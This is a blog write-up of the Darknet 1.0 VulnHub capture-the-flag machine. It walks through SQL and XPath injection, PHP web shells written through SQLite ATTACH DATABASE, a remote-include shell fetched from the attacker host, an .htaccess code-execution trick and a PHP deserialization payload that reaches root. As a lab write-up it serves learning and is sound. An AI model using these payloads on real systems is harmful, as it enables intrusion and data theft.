Monday, 22 June 2015

Darknet 1.0 Write-up

Stage 0


Download and startup of the machine went smooth as expected. The machine is running in a host-only network and got the IP address 192.168.56.101 assigned. The host's virtual network interface is 192.168.56.1. 


General remark: You may experience problems with the VM at times. It may become unresponsive or one of the payloads you used won't work anymore. From my observations this becomes very likely if you are using brute force techniques. These will fill up the logs and exhaust disk space up to the degree where the machine can't even store sessions anymore which will prevent you from logging in. If that happens restart the machine, that did fix the issue for me most of the times. At one point though, only rolling back to a previous snapshot solved my issues.



Stage 1


Booting the machine was easy and a first port scan did not reveal much, a web server and some RPC services that is. 

As for every website or web application I started off with a little nikto scan of the IP.

$ perl nikto.pl -host 192.168.56.101
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2015-05-21 21:26:29 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 46398, size: 378, mtime: 0x511ee86650a86
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /access/: Directory indexing found.
+ OSVDB-3092: /access/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6544 items checked: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2015-05-21 21:26:43 (GMT2) (14 seconds)
-------------------------------------
--------------------------------------
+ 1 host(s) tested

So nikto found a directory which has indexing enabled. Well then let's take a look.

This looks like a backup of some sort. After opening the file, it became clear that it is a virtual host configuration backup of Apache. I adjusted my /etc/hosts file to get rid of any problem regarding the named virtual host and for ease of access with tools.
<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>

The new found sub domain has a login mask in place preventing me from direct access. Obviously I tried several SQLi attempts and first they all failed. Any = sign would be flagged as an illegal operation, if I just added an or I got some information about the query that was send to the database though.




So I knew OR will work, after many trys like administrator' or '1 I finally remembered the information provided in the virtual host config, there the server admin was devnull, and that was part of the webroot too. So devnull' or '1 in combination with some random password finally worked. Not the best start for the challenge :)




Stage 2

Judging from the title of the page, it seems as if I'm facing a SQL query editor. Thanks to some of the errors produced while working on the initial SQLi I knew that it's SQLite that I'm dealing with. So I went and did some research. There are great posts about SQLite based SQLi and I decided to use the method where a new database is attached and therefore a file gets created on the file system.

First of all I needed some writable path. Using dirb I found the following directories.

$ ./dirb http://888.darknet.com/ wordlists/common.txt 

-----------------
DIRB v2.21    
By The Dark Raver
-----------------

START_TIME: Sun Jun 21 23:10:21 2015
URL_BASE: http://888.darknet.com/
WORDLIST_FILES: wordlists/common.txt

-----------------

GENERATED WORDS: 4592                                                          

---- Scanning URL: http://888.darknet.com/ ----
==> DIRECTORY: http://888.darknet.com/css/                                     
==> DIRECTORY: http://888.darknet.com/img/                                     
==> DIRECTORY: http://888.darknet.com/includes/                                
+ http://888.darknet.com/index.php (CODE:200|SIZE:484)                         
+ http://888.darknet.com/server-status (CODE:403|SIZE:296)           
---- Entering directory: http://888.darknet.com/css/ ----
---- Entering directory: http://888.darknet.com/img/ ----
---- Entering directory: http://888.darknet.com/includes/ ----                                                                   -----------------

DOWNLOADED: 18368 - FOUND: 2

I decided these are few enough to simply use brute force and try the SQLi payload once for every directory. The payloads I used were:

ATTACH DATABASE ‘/home/devnull/public_html/css/test.html’ AS test01;
ATTACH DATABASE ‘/home/devnull/public_html/includes/test.html’ AS test02;
ATTACH DATABASE ‘/home/devnull/public_html/img/test.html’’ AS test03;
ATTACH DATABASE ‘/home/devnull/public_html/icons/test.html’’ AS test04;

If the write succeeds the file will be created and then (hopefully) be accessible through the web server.  If the file was written you will get an HTTP 403 forbidden instead of 404 not found.  For me that was the case in /home/devnull/public_html/img/, so this is where my web shell will go. 

First off, I gave it a try and wrote some simple Hello World demo.php:

ATTACH DATABASE '/home/devnull/public_html/img/demo.php' as pwn;
CREATE TABLE pwn.shell (code TEXT); INSERT INTO pwn.shell (code) VALUES ("<pre><?php echo 'Hallo Welt'; ?></pre>");

And that worked pretty well. The explanation for this behavior is that SQLite will create a new file for every database that you attach using the database name as a file name. Then PHP in its generous way of interpreting files will thoroughly search for <?php and ?> tags to start its magic. In the given case these will be found as the actual data in the database's table is stored as plain text.




As I usually do recon first, hacking later, I then dropped a database including a phpinfo() call to gather some information. And I learnedamong other things that:


  • allow_url_fopen is on
  • allow_url_include is on
  • system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec,
    proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_execsystem, eval, shell_exec, passthru, popen, proc_open, escapeshellarg,
    escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec are all disabled
Because of that I decided it won't make much sense to write some pseudo shell or try any meterpreter reverse or bind PHP shell. That's why I simply attached a database containing a line of PHP which is vulnerable to LFI/RFI.

ATTACH DATABASE '/home/devnull/public_html/img/rfishell.php' as pwn;
CREATE TABLE pwn.shell (code TEXT);
INSERT INTO pwn.shell (code) VALUES ("<?php error_reporting(E_ALL); ini_set('display_errors', 1); include($_GET['file']); ?>");


Using this little PHP script I was able to read files from the file system using PHP streams, which I had to read up on first :)

http://888.darknet.com/img/rfishell.php?file=php://filter/convert.base64-encode/resource=../index.php

The above would produce the the requested file as a base64 string. Using this method I first downloaded some parts of the web site and then decided to move on to the RFI and to load my web shell.

http://888.darknet.com/img/rfishell.php?file=http://192.168.56.1/b347k.txt



Again I started off with some reconnaissance. As my web shell was very limited in its built-in functionality due to the above mentioned restricted methods I had to write some little helper PHP code to extend its functionality again.$root="/";

if ($handle = opendir($root)) {
    while (false !== ($entry = readdir($handle))) {
        {
            $path= $root . "/" . $entry;
            echo substr(sprintf('%o', fileperms("$path")), -4);
            echo "$path\n";
            echo "------- CONTENT --------\n";
            echo file_get_contents($path);
        }
    }

    closedir($handle);
}


The above lines of (ugly) code, bare with me, I'm not the software developer type of guy, listed files and their contents in combination with the permissions set on these files. Using this method I found several interesting things. The following are outtakes from my findings.

There is an additional virtual host defined in /etc/apache2/sites-enabled/

<VirtualHost *:80>
    ServerName signal8.darknet.com
    ServerAdmin errorlevel@darknet.com
    DocumentRoot /home/errorlevel/public_html
    <Directory /home/errorlevel/public_html>
        AllowOverride All
    </Directory>
</VirtualHost>

And there are several mods loaded in /etc/apache2/mods-enabled/ among which there is suPHP.

Stage 3




Starting off with some more editing on my /etc/hosts file I then launched nikto again. And found a robots.txt hinting another interesting part of the site.




From the combination of w3af, nikto and dirb I learned what the following graph depicts.


The xpanel is password protected and is not vulnerable to the same injections as 888.darknet.com was. Contact.php seems to be vulnerable to some sort of injection though. This can be easily verified by simply doing some basic math with the id parameter.

http://signal8.darknet.com/contact.php?id=1
http://signal8.darknet.com/contact.php?id=2
http://signal8.darknet.com/contact.php?id=2-1

The first and the last request will yield the same response. None of my manual attempts to get any information more than I already knew were successful though. So I turned to tools like sqlmap, w3af and others, unfortunately without much luck. Then I remembered XPath injections from one of my assignments.

http://signal8.darknet.com/contact.php?id=last()
http://signal8.darknet.com/contact.php?id=last()-1

Using the above two requests I verified that XPath injections are indeed possible. In retrospect this part of the whole challenge was the one which I learned from the most. It was also the most demanding, on my mind, coffee and computational resources. You'll soon see why.

First of all I did some more testing and playing with various Xquery functions. I verified the type of XPath injection.

http://signal8.darknet.com/contact.php?id=1 and 1 = 1
http://signal8.darknet.com/contact.php?id=1 and 1 = 2

The first will yield a response containing the contacts email address whereas the latter will produce a response without it. From that I concluded that I'm facing a blind XPath injection.





Next I was trying to learn something of the structure of the underlying XML. First of all I counted the child nodes.

http://signal8.darknet.com/contact.php?id=1 and 1=count(/child::node())
http://signal8.darknet.com/contact.php?id=1 and 2=count(/child::node())

Again the first evaluated to true while the second evaluated to false, meaning the current node has only 1 child. Now I started trying to get the name of the current's node parent.

http://signal8.darknet.com/contact.php?id=1 and 1=string-length(name(..)) -> false
http://signal8.darknet.com/contact.php?id=1 and 2=string-length(name(..)) -> false
http://signal8.darknet.com/contact.php?id=1 and 3=string-length(name(..)) -> false
http://signal8.darknet.com/contact.php?id=1 and 4=string-length(name(..)) -> true


This means the parent's name is 4 characters long. Luckily the above test took me only 4 tries, that could have been worse. For my next endeavor, brute forcing the actual name, I could not do it manually. Therefore, I constructed a request to use in combination with Burp Suite's intruder module.
In order to build this request I used the starts-with("","") XQuery function. This function will return true if the first string supplied to the function starts with the second string supplied.

Payload: http://signal8.darknet.com/contact.php?id=1 and 1=starts-with("a","b") -> false as expected
http://signal8.darknet.com/contact.php?id=1 and 1=starts-with("a","a") -> true as expected


I then used the name() function to get the name of the parent, which is .. in XQuery.

http://signal8.darknet.com/contact.php?id=1 and 1=starts-with(name(..),"a") 


Surprisingly that was true so I tested,

http://signal8.darknet.com/contact.php?id=1 and 1=starts-with(name(..),"x") 

which was false and therefor, the request is good to go.
Now it was time for Burp Suite's intruder module. All my requests so far, went through Burp for documentation and further analysis.

First of all I sent the request to the Intruder module where I used the Sniper attack type to point my payload towards.


I then simply choose the Brute forcer payload type and added all lower case and upper case characters to the character set.



I then added errorlevel as the only grep match, as I knew if the function returns true the email address errorlevel@darknet.com will be displayed on the page.


All that was left to do, was to start the exploit and wait for the results, which came in more or less instantly. The first letter was a, as I already knew from the construction of the request.



So i slightly adjusted the payload, which basically means to add an a before the the string that will be compared. And the second character of the parent node's name is u. 



After that it was basically rinse and repeat until all 4 characters have been recovered. And it turns out that the name of the parent node is auth.

Because at this point in time, I knew only little about XQuery and XPath, I wanted to make sure that I'm using the language right an tried the following request, which I expected to be true. As, according to my research //auth is the way to directly address any auth node in the document.

http://signal8.darknet.com/contact.php?id=1 and 4 = string-length(name(//auth))

As it turns out, I was right apparently because the request was true. After thinking about what to do next it struck me, I could use the above mentioned request to brute force any node name in the document using a dictionary. All I had to to was to configure a new Intruder payload. That said, I will now walk you through the process.

Again I started off with the request and the defined injection point for the sniper attack type.



I then chose custom iterator as the payload type and added auth as the first word to test, basically as a null probe. Afterwards I let Burp Suite fill the list with all 4 character words its engine could think of.


Again I added errorlevel as the grep match and waited for the ~10000 requests to be finished.


Unfortunately not a single word produced any hit. So either no more 4 character nodes where present or their names are missing from the dictionary. As the night was late already I decided to give the brute force another try and let Burp work its magic over night. In preparation of this attempt I constructed another Intruder payload.

This time I was using Cluster Bomb as the attack type. Any combination of multiple payloads will be tested using this type of attack. I added to insertion points. The length the node's name is compared to and the name itself.



I then added every 3-6 letter word Burp Suite could come up with, and as everything on darknet.com was in Spanish so far, I also added the Spanish word-list from drib. All this would results in ~500.000 requests to be made by Burp.


The next morning everything was done and I got 5 hits, with one duplicated hit.


As a result I know knew the names of 4 nodes. /auth, /user, /clave (which translates to password) and /email.
Starting with that new information I tried to construct a working XPath injection payload. First of all I tried to learn some more about the structure of the nodes. Again I used the Intruder module to count the child nodes of the newly discovered nodes. This yielded the following results.

http://signal8.darknet.com/contact.php?id=1 and count(//clave/child::node()) =2
-> /clave has 2 children

http://signal8.darknet.com/contact.php?id=1 and count(//email/child::node()) =2
-> /email has 2 children

http://signal8.darknet.com/contact.php?id=1 and count(//auth/child::node()) =5
-> /auth has 5 children

http://signal8.darknet.com/contact.php?id=1 and count(//user/child::node()) =18
-> /user has 18 children


As we already know that there are two email addresses displayed on the web site I decided that the XPath selector looks something like this

/auth['id']/email

This would mean that any injection needs to have at least the form like this

1] inject something[1

With some testing, I was able to conclude that this holds true.

http://signal8.darknet.com/contact.php?id=1][1

In order to append data one would need to use the | symbol. I then simply tried every node know to me in the following form

http://signal8.darknet.com/contact.php?id=1] /auth| //email[1
http://signal8.darknet.com/contact.php?id=1] /user | //email[1
http://signal8.darknet.com/contact.php?id=1] /email | //email[1
http://signal8.darknet.com/contact.php?id=1] /clave | //email[1


The last two produced some output, the first produced the email addresses again, but the second produced a string that looked a lot like a password.



Using these two passwords (tc65Igkq6DF & j4tC1P9aqmY ) I was able to login to the xpanel at http://signal8.darknet.com/xpanel/home.php using either devnull or errorlevel as the corresponding username.



Unfortunately the link to the PHP editor didn't work and it seems as I was trolled.


Luckily I had a friend who joined me for the XPath part, and he was smart enough to look at the source code of the page.



Stage 4 - ploy.php




So what do we have here ? Seems like a code protected upload form. First off all. lets try what it does. Fortunately the web site tells us what is wrong, very helpful. If one clicks 3 or less check boxes the page complains about the key length being wrong, if one checks exactly 4 it will tell that the key is wrong, and if one puts more than 4 crosses in it will say that the key length doesn't fit.

So I knew I had to use exactly 4 check boxes and I used this as the basic request to build yet another Burp Suite Intruder payload. Again I used the Cluster Bomb, this time with exactly 4 insertion points, one for each check box.



I then added all the possible values for each box in 4 separate payload lists. The values were taken from the form's HTML code.


It didn't take very long for the ~6.000 requests to finish, and to reveal the PIN.


So the PIN for the upload form is 37 10 59 17 , very well, now let's try to upload files. I tested various graphic formats, text files, html files and obviously PHP files, unfortunately the latter didn't work. I wanted to get another web shell though, so I went through my notes again. The virtual host definition of signal8.darknet.com allows for any file to be overwritten.

<VirtualHost *:80>
    ServerName signal8.darknet.com
    ServerAdmin errorlevel@darknet.com
    DocumentRoot /home/errorlevel/public_html
    <Directory /home/errorlevel/public_html>
        AllowOverride All
    </Directory>
</VirtualHost>


So I decided to give it a try and upload a new .htaccess file which will render me *.txt files to be interpreted with PHP.  Doing so, I then realized that apparently one could only have one active uploaded file at a time. As soon as I uploaded my .htaccess file the file I uploaded before (up.txt) was no longer accessible. 
My next move was kind of a copycat of the SQLite injection from stage 2, I decided to add php code to the .htaccess file itself. My first try was this:

<Files ~ "^\.(htaccess|htpasswd)$">
allow from all
</Files>
Options +Indexes
#<?php phpinfo(); ?>


And it didn't work, for obvious reasons, which I didn't see at first. First of all I forgot to make the web server use PHP as interpreter for .htaccess files.

AddType application/x-httpd-php .htaccess

Then I missed recon for once and paid for it right away with another failed attempt. My next payload was using the RFI injection point from earlier again. But allow_url_fopen was disabled. And finally I got stuck a little due to the fact that I was using x-httpd-php instead of x-httpd-suphp at first. But my file came through eventually and looks like this in the end:

php_value allow_url_fopen On
php_flag allow_url_fopen on

<Files ~ "^\.(htaccess|htpasswd)$">
allow from all
</Files>
Options +Indexes

AddType application/x-httpd-suphp .htaccess
#<? include($_GET['file']); ?>


This time it worked and I got myself another web shell.


Time for another recon run. I basically reused all the PHP code I created earlier where I've seen fit, so I won't repeat the details here. Among other things, by far the most interesting things that I found were:

  1. /var/www/sec.php
  2. /var/www/Classes/Test.php
  3. /var/www/Classes/Show.php
  4. /etc/suphp/suphp.conf is world writable (I somehow missed that earlier

Stage 5 - PHP Deserialization

This is the main sec.php script which relies on two more PHP classes. It takes a POST parameter, which is supposed to be a serialized object, and deserializes it.



The Show class is rather uninteresting and not of much use.


The Test class on the other hand does a lot of very interesting things. As soon as any object of type Test is destroyed the __destruct() method is invoked and there are a lot of things happening in there. To put it in a nutshell a file downloaded from a URL, it will then be written to the specified path and finally permissions will be set to 644. URL, file name and path are all taken from the objects variables.


In order to use that behavior I created an object using the very same Test class. In order to achieve this, again with the help of a friend, I slightly changed the original Test class to look like this




We then used PHP on the attacking machine to display the serialized object. Unfortunately none of our variable contents showed up in the object, which I only realized after we wasted some time on debugging other things.

 We then decided that we are using the objects constructor wrong, or that we are using the wrong one. With a slight change everything worked and we got our serialized object.




Now I needed to edit the serialized object, and send it to the sec.php script. The first part was easy and my object looks like this:

O:4:"Test":3:{s:3:"url";s:29:"http://192.168.56.1/b374k.php";s:9:"name_file";s:14:"opensesame.php";s:4:"path";s:8:"/var/www";}

Be carefull though, the numbers behind the s: indicates the length of the string that follows. This needs to be accurate or it won't work. To send the request I used Burp again. I simply requested

www.darknet.com/sec.php?test=

Sent that to the repeater, changed the request method to POST and pasted my serialized object into it. All that brought me was an internal server error 500.
I had that right from the beginning whenever I was trying to access sec.php, and in the beginning I thought that is due to the missing POST data, which was silly. But it took me a time to realize that. To solve the issue I had to do a lot of testing and research in suPHP, which I never used before. I finally came to the right conclusion. So here the explanation of what I did and why that helped, the impatient reader may skip the next paragraph.

suPHP executes PHP scripts with the rights of the owner of the files. In the case of darknet.com this would be root. There is a configuration in place which enforces two settings that are important to understand why the 500 Internal Server Error was produced in the first place. The following is a quote from suPHP's documentation.


min_uid:
Minimum UID allowed to execute scripts.
Defaults to compile-time value.
min_gid:
Minimum GID allowed to execute scripts.
Defaults to compile-time value.
Basically that means, whenever a script is about to be run, suPHP will compare the uid and gid of the owner with its configuration. If the uid and/or gid is below the limit set there suPHP won't execute the script an produce an internal server error instead.

Luckily the configuration was world writable and therefor, could be changed easily.  After changing both values to 0, I could access www.darknet.com/sec.php and got no error. So I tried the POST request in Burp again, and this time it seemed to work.



Trying to access the file failed though, I check using my web shell from stage 4, and nothing was written to disk.
It took me quite some time to understand what went wrong... apparently the PHP installation on my system is different form the one on the VM, or the way I produced my serialized object was wrong., after all I'm not the developer type of guy.
However, the difference, as so often is a single ";", this time there was one more than there should be.

My serialized object looks like this,
O:4:"Test":3:{s:3:"url";s:29:"http://192.168.56.1/b374k.php";s:9:"name_file";s:14:"opensesame.php";s:4:"path";s:8:"/var/www";}
where it should look like this. Take special note of the missing ; at the end.
O:4:"Test":3:{s:3:"url";s:29:"http://192.168.56.1/b374k.php";s:9:"name_file";s:14:"opensesame.php";s:4:"path";s:8:"/var/www"}

After that little fix, everything worked like a charm and I got my web shell running as root.


The flag was found where it belongs, in /root/flag.txt.


Conclusion

This VM was tremendous fun, I learned a lot especially about XQuery, XPath and suPHP. I had the chance to work with a friend and spent some quality time hacking. Thanks a lot @q3rv0 for this nice VM and thanks to vulnhub.com for your service of providing a platform to share this VMs.

No comments:

Post a Comment